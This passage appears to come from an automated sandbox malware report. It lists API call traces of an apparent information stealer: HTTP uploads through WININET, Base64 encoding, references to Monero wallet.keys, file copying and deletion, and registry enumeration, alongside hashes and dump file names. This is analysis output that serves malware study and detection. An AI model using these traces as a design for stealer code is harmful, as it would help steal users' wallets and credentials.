Part of subcall function 005FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 005FA7E6

Part of subcall function 005E47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 005E4839
Part of subcall function 005E47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 005E4849

lstrlen.KERNEL32(00000000), ref: 005E5193

Part of subcall function 005F8EA0: CryptBinaryToStringA.CRYPT32(00000000,005E5184,40000001,00000000,00000000,?,005E5184), ref: 005F8EC0

Part of subcall function 005FA740: lstrcpy.KERNEL32(00600E17,00000000), ref: 005FA788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 005E5207
StrCmpCA.SHLWAPI(?,01410AB0), ref: 005E5225
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 005E5340
HttpOpenRequestA.WININET(00000000,01410AC0,?,01410350,00000000,00000000,00400100,00000000), ref: 005E53A4

Part of subcall function 005FA9B0: lstrlen.KERNEL32(?,01408F80,?,\Monero\wallet.keys,00600E17), ref: 005FA9C5
Part of subcall function 005FA9B0: lstrcpy.KERNEL32(00000000), ref: 005FAA04
Part of subcall function 005FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 005FAA12

Part of subcall function 005FA8A0: lstrcpy.KERNEL32(?,00600E17), ref: 005FA905

Part of subcall function 005FA920: lstrcpy.KERNEL32(00000000,?), ref: 005FA972
Part of subcall function 005FA920: lstrcat.KERNEL32(00000000), ref: 005FA982

lstrlen.KERNEL32(00000000,00000000,?,",00000000,?,01410AD0,00000000,?,0140B768,00000000,?,006019DC,00000000,?,005F51CF), ref: 005E5737
lstrlen.KERNEL32(00000000), ref: 005E574B
GetProcessHeap.KERNEL32(00000000,?), ref: 005E575C
RtlAllocateHeap.NTDLL(00000000), ref: 005E5763
lstrlen.KERNEL32(00000000), ref: 005E5778
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 005E57A9
lstrlen.KERNEL32(00000000), ref: 005E57C8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 005E57E1
lstrlen.KERNEL32(00000000,?,?), ref: 005E580E
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 005E5822
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 005E584D
InternetCloseHandle.WININET(00000000), ref: 005E58B1
InternetCloseHandle.WININET(00000000), ref: 005E58BE
InternetCloseHandle.WININET(00000000), ref: 005E58C8

Strings

------, xrefs: 005E53B7
--, xrefs: 005E5280
------, xrefs: 005E563B
", xrefs: 005E55C4
------, xrefs: 005E5297
", xrefs: 005E5706
------, xrefs: 005E54F9
", xrefs: 005E5482

Memory Dump Source

Source File: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateBinaryConnectCrackCryptFileProcessReadSendString
String ID: ------$"$"$"$--$------$------$------
API String ID: 1224485577-2774362122
Opcode ID: 898009e8025c1e9c47099c9b63868fbe69baf771d24482bab2f8fad46231d7dd
Instruction ID: dab205c0271480a86e9aadeb00b295e12eb9f625c69bbb86d0e3d3e844442902
Opcode Fuzzy Hash: 898009e8025c1e9c47099c9b63868fbe69baf771d24482bab2f8fad46231d7dd
Instruction Fuzzy Hash: 853244B291011DABDB18EBA0DC59FFE7778BF94740F404169B20A63091EF746A49CF52

Function 005EA790 Relevance: 39.0, APIs: 21, Strings: 1, Instructions: 539
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 005FAA70: StrCmpCA.SHLWAPI(01409200,005EA7A7,?,005EA7A7,01409200), ref: 005FAA8F

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 005EAAC8
RtlAllocateHeap.NTDLL(00000000), ref: 005EAACF
StrCmpCA.SHLWAPI(00000000,ERROR_RUN_EXTRACTOR), ref: 005EABE2
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 005EA8B0

Part of subcall function 005FA820: lstrlen.KERNEL32(005E4F05,?,?,005E4F05,00600DDE), ref: 005FA82B
Part of subcall function 005FA820: lstrcpy.KERNEL32(00600DDE,00000000), ref: 005FA885

Part of subcall function 005FA9B0: lstrlen.KERNEL32(?,01408F80,?,\Monero\wallet.keys,00600E17), ref: 005FA9C5
Part of subcall function 005FA9B0: lstrcpy.KERNEL32(00000000), ref: 005FAA04
Part of subcall function 005FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 005FAA12

Part of subcall function 005FA8A0: lstrcpy.KERNEL32(?,00600E17), ref: 005FA905

lstrcat.KERNEL32(?,00000000), ref: 005EACEB
lstrcat.KERNEL32(?,00601320), ref: 005EACFA
lstrcat.KERNEL32(?,00000000), ref: 005EAD0D
lstrcat.KERNEL32(?,00601324), ref: 005EAD1C
lstrcat.KERNEL32(?,00000000), ref: 005EAD2F
lstrcat.KERNEL32(?,00601328), ref: 005EAD3E
lstrcat.KERNEL32(?,00000000), ref: 005EAD51
lstrcat.KERNEL32(?,0060132C), ref: 005EAD60
lstrcat.KERNEL32(?,00000000), ref: 005EAD73
lstrcat.KERNEL32(?,00601330), ref: 005EAD82
lstrcat.KERNEL32(?,00000000), ref: 005EAD95
lstrcat.KERNEL32(?,00601334), ref: 005EADA4
lstrcat.KERNEL32(?,00000000), ref: 005EADB7
lstrlen.KERNEL32(?), ref: 005EAE0D
lstrlen.KERNEL32(?), ref: 005EAE1C

Part of subcall function 005FA740: lstrcpy.KERNEL32(00600E17,00000000), ref: 005FA788

Part of subcall function 005FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 005FA7E6

DeleteFileA.KERNEL32(00000000), ref: 005EAE97

Strings

ERROR_RUN_EXTRACTOR, xrefs: 005EABD4

Memory Dump Source

Source File: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcess
String ID: ERROR_RUN_EXTRACTOR
API String ID: 4157063783-2709115261
Opcode ID: e2a5dbc1425db7da4662a2ab577ab2bc090b1ff832f68df838a328ade81eb645
Instruction ID: 327afb518c3a1108d749a701403c354d87c3d745c111232598f5a48e3a5e57fe
Opcode Fuzzy Hash: e2a5dbc1425db7da4662a2ab577ab2bc090b1ff832f68df838a328ade81eb645
Instruction Fuzzy Hash: 8C1223B1910109ABCB18EBA0DD5ADFE7779BF54300F508058F60AA7095DF786E0ACB63

Function 005E5960 Relevance: 39.0, APIs: 17, Strings: 5, Instructions: 495
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 005FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 005FA7E6

Part of subcall function 005E47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 005E4839
Part of subcall function 005E47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 005E4849

Part of subcall function 005FA740: lstrcpy.KERNEL32(00600E17,00000000), ref: 005FA788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 005E59F8
StrCmpCA.SHLWAPI(?,01410AB0), ref: 005E5A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 005E5B93
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,01410AE0,00000000,?,0140B768,00000000,?,00601A1C), ref: 005E5E71
lstrlen.KERNEL32(00000000), ref: 005E5E82
GetProcessHeap.KERNEL32(00000000,?), ref: 005E5E93
RtlAllocateHeap.NTDLL(00000000), ref: 005E5E9A
lstrlen.KERNEL32(00000000), ref: 005E5EAF
lstrlen.KERNEL32(00000000), ref: 005E5ED8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 005E5EF1
lstrlen.KERNEL32(00000000,?,?), ref: 005E5F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 005E5F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 005E5F4C
InternetCloseHandle.WININET(00000000), ref: 005E5FB0
InternetCloseHandle.WININET(00000000), ref: 005E5FBD
HttpOpenRequestA.WININET(00000000,01410AC0,?,01410350,00000000,00000000,00400100,00000000), ref: 005E5BF8

Part of subcall function 005FA9B0: lstrlen.KERNEL32(?,01408F80,?,\Monero\wallet.keys,00600E17), ref: 005FA9C5
Part of subcall function 005FA9B0: lstrcpy.KERNEL32(00000000), ref: 005FAA04
Part of subcall function 005FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 005FAA12

Part of subcall function 005FA8A0: lstrcpy.KERNEL32(?,00600E17), ref: 005FA905

Part of subcall function 005FA920: lstrcpy.KERNEL32(00000000,?), ref: 005FA972
Part of subcall function 005FA920: lstrcat.KERNEL32(00000000), ref: 005FA982

InternetCloseHandle.WININET(00000000), ref: 005E5FC7

Strings

------, xrefs: 005E5C0B
", xrefs: 005E5CD5
------, xrefs: 005E5D4C
------, xrefs: 005E5A96
", xrefs: 005E5E16

Memory Dump Source

Source File: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 874700897-2180234286
Opcode ID: 0eb98218d91107f9eda87fccdd6af81d28eb09b3cae90be79f7775379489fd17
Instruction ID: a7f0472969dff051561de78ed1c672d7908a0753c648ea712a703e69002411a6
Opcode Fuzzy Hash: 0eb98218d91107f9eda87fccdd6af81d28eb09b3cae90be79f7775379489fd17
Instruction Fuzzy Hash: AA1211B182011DABDB19EBA0DC99FEE7778BF54740F404169B20A63091EF742B4ACF56

Function 005ECEF0 Relevance: 30.4, APIs: 20, Instructions: 375
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 005FA740: lstrcpy.KERNEL32(00600E17,00000000), ref: 005FA788

Part of subcall function 005FA9B0: lstrlen.KERNEL32(?,01408F80,?,\Monero\wallet.keys,00600E17), ref: 005FA9C5
Part of subcall function 005FA9B0: lstrcpy.KERNEL32(00000000), ref: 005FAA04
Part of subcall function 005FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 005FAA12

Part of subcall function 005FA8A0: lstrcpy.KERNEL32(?,00600E17), ref: 005FA905

Part of subcall function 005F8B60: GetSystemTime.KERNEL32(00600E1A,0140B798,006005AE,?,?,005E13F9,?,0000001A,00600E1A,00000000,?,01408F80,?,\Monero\wallet.keys,00600E17), ref: 005F8B86

Part of subcall function 005FA920: lstrcpy.KERNEL32(00000000,?), ref: 005FA972
Part of subcall function 005FA920: lstrcat.KERNEL32(00000000), ref: 005FA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 005ECF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 005ED0C7
RtlAllocateHeap.NTDLL(00000000), ref: 005ED0CE
lstrcat.KERNEL32(?,00000000), ref: 005ED208
lstrcat.KERNEL32(?,00601478), ref: 005ED217
lstrcat.KERNEL32(?,00000000), ref: 005ED22A
lstrcat.KERNEL32(?,0060147C), ref: 005ED239
lstrcat.KERNEL32(?,00000000), ref: 005ED24C
lstrcat.KERNEL32(?,00601480), ref: 005ED25B
lstrcat.KERNEL32(?,00000000), ref: 005ED26E
lstrcat.KERNEL32(?,00601484), ref: 005ED27D
lstrcat.KERNEL32(?,00000000), ref: 005ED290
lstrcat.KERNEL32(?,00601488), ref: 005ED29F
lstrcat.KERNEL32(?,00000000), ref: 005ED2B2
lstrcat.KERNEL32(?,0060148C), ref: 005ED2C1
lstrcat.KERNEL32(?,00000000), ref: 005ED2D4
lstrcat.KERNEL32(?,00601490), ref: 005ED2E3

Part of subcall function 005FA820: lstrlen.KERNEL32(005E4F05,?,?,005E4F05,00600DDE), ref: 005FA82B
Part of subcall function 005FA820: lstrcpy.KERNEL32(00600DDE,00000000), ref: 005FA885

lstrlen.KERNEL32(?), ref: 005ED32A
lstrlen.KERNEL32(?), ref: 005ED339

Part of subcall function 005FAA70: StrCmpCA.SHLWAPI(01409200,005EA7A7,?,005EA7A7,01409200), ref: 005FAA8F

DeleteFileA.KERNEL32(00000000), ref: 005ED3B4

Memory Dump Source

Source File: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: 40d9abf9ccd36d4c7d38cc60837d1362611df9026711d0078f4289c7fbccb0d8
Instruction ID: c261717575eb21e91db48c7db5021af9d5c23822d6ecd9401fbe95aca02c4b44
Opcode Fuzzy Hash: 40d9abf9ccd36d4c7d38cc60837d1362611df9026711d0078f4289c7fbccb0d8
Instruction Fuzzy Hash: 71E114B1910109ABCB18EBA0DD99EFE7779BF54301F104154F60BA7091DF79AA0ACB63

Function 005F8320 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 005FA740: lstrcpy.KERNEL32(00600E17,00000000), ref: 005FA788

RegOpenKeyExA.KERNEL32(00000000,0140C798,00000000,00020019,00000000,006005B6), ref: 005F83A4
RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 005F8426
wsprintfA.USER32 ref: 005F8459
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 005F847B
RegCloseKey.ADVAPI32(00000000), ref: 005F848C
RegCloseKey.ADVAPI32(00000000), ref: 005F8499

Part of subcall function 005FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 005FA7E6

Strings

?, xrefs: 005F837A
%s\%s, xrefs: 005F844D
- , xrefs: 005F85A3

Memory Dump Source

Source File: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: cf906e63bd94cc0afca00f28277960b54efed722cbf38a7c7bf0c15134771ff5
Instruction ID: 5dc0686b5eb1a2313a51c5a67f0e411fa1669b0c0862bbdb41304d98c4ac14ac
Opcode Fuzzy Hash: cf906e63bd94cc0afca00f28277960b54efed722cbf38a7c7bf0c15134771ff5
Instruction Fuzzy Hash: 6B811CB191011DABDB28DB50CD95FFA7BB8FF48700F008699E209A6190DF756B86CF91

Function 005E6280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 005FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 005FA7E6

Part of subcall function 005E47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 005E4839
Part of subcall function 005E47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 005E4849

Part of subcall function 005FA740: lstrcpy.KERNEL32(00600E17,00000000), ref: 005FA788

InternetOpenA.WININET(00600DFE,00000001,00000000,00000000,00000000), ref: 005E62E1
StrCmpCA.SHLWAPI(?,01410AB0), ref: 005E6303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 005E6335
HttpOpenRequestA.WININET(00000000,GET,?,01410350,00000000,00000000,00400100,00000000), ref: 005E6385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 005E63BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 005E63D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 005E63FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 005E646D
InternetCloseHandle.WININET(00000000), ref: 005E64EF
InternetCloseHandle.WININET(00000000), ref: 005E64F9
InternetCloseHandle.WININET(00000000), ref: 005E6503

Strings

ERROR, xrefs: 005E6407
ERROR, xrefs: 005E64C9
GET, xrefs: 005E637C

Memory Dump Source

Source File: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
